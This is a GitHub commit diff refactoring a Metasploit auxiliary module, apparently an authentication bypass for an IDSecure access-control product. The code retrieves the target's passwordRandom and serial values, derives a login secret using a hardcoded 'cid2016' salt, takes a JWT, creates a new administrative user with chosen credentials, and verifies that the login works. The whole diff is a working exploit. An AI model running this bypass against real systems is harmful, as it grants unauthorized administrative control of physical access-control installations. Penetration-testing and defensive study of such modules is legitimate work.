Skip to content

Commit 3f3690b

Browse files
committed
code cleanup
code cleanup
1 parent 17149db commit 3f3690b

File tree

1 file changed

+64
-35
lines changed

1 file changed

+64
-35
lines changed

modules/auxiliary/admin/http/idsecure_auth_bypass.rb

Lines changed: 64 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -72,20 +72,20 @@ def run
7272
unless res
7373
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
7474
end
75-
if res.code == 200
76-
json = res.get_json_document
77-
if json.key?('passwordRandom') && json.key?('serial')
78-
password_random = json['passwordRandom']
79-
serial = json['serial']
80-
print_good('Retrieved passwordRandom: ' + password_random)
81-
print_good('Retrieved serial: ' + serial)
82-
else
83-
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
84-
end
85-
else
75+
unless res.code == 200
8676
fail_with(Failure::UnexpectedReply, res.to_s)
8777
end
8878

79+
json = res.get_json_document
80+
unless json.key?('passwordRandom') && json.key?('serial')
81+
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
82+
end
83+
84+
password_random = json['passwordRandom']
85+
serial = json['serial']
86+
print_good('Retrieved passwordRandom: ' + password_random)
87+
print_good('Retrieved serial: ' + serial)
88+
8989
# 2) Create passwordCustom
9090
sha1_hash = Digest::SHA1.hexdigest(serial)
9191
combined_string = sha1_hash + password_random + 'cid2016'
@@ -107,24 +107,26 @@ def run
107107
unless res
108108
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
109109
end
110-
if res.code == 200
111-
json = res.get_json_document
112-
if json.key?('accessToken')
113-
access_token = json['accessToken']
114-
print_good('Retrieved JWT: ' + access_token)
115-
else
116-
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
117-
end
118-
else
110+
unless res.code == 200
119111
fail_with(Failure::UnexpectedReply, res.to_s)
120112
end
121113

114+
json = res.get_json_document
115+
unless json.key?('accessToken')
116+
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
117+
end
118+
119+
access_token = json['accessToken']
120+
print_good('Retrieved JWT: ' + access_token)
121+
122122
# 4) Add a new administrative user
123-
body = '{"idType": "1", ' \
124-
"\"name\": \"#{datastore['NEW_USER']}\", " \
125-
"\"user\": \"#{datastore['NEW_USER']}\", " \
126-
"\"newPassword\": \"#{datastore['NEW_PASSWORD']}\", " \
127-
"\"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\"}"
123+
body = {
124+
idType: '1',
125+
name: datastore['NEW_USER'],
126+
user: datastore['NEW_USER'],
127+
newPassword: datastore['NEW_PASSWORD'],
128+
password_confirmation: datastore['NEW_PASSWORD']
129+
}.to_json
128130

129131
res = send_request_cgi({
130132
'method' => 'POST',
@@ -140,17 +142,44 @@ def run
140142
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
141143
end
142144

143-
if res.code == 200
144-
json = res.get_json_document
145-
if json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
146-
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json)
147-
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
148-
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/login")
149-
else
150-
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
151-
end
152-
else
145+
unless res.code == 200
146+
fail_with(Failure::UnexpectedReply, res.to_s)
147+
end
148+
149+
json = res.get_json_document
150+
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
151+
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
152+
end
153+
154+
# 5) Confirm credentials work
155+
body = {
156+
username: datastore['NEW_USER'],
157+
password: datastore['NEW_PASSWORD'],
158+
passwordCustom: nil
159+
}.to_json
160+
161+
res = send_request_cgi({
162+
'method' => 'POST',
163+
'ctype' => 'application/json',
164+
'uri' => normalize_uri(target_uri.path, 'api/login/'),
165+
'data' => body
166+
})
167+
168+
unless res
169+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
170+
end
171+
172+
unless res.code == 200
153173
fail_with(Failure::UnexpectedReply, res.to_s)
154174
end
175+
176+
json = res.get_json_document
177+
unless json.key?('accessToken') && json.key?('unlock')
178+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
179+
end
180+
181+
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
182+
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
183+
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")
155184
end
156185
end

0 commit comments

Comments
 (0)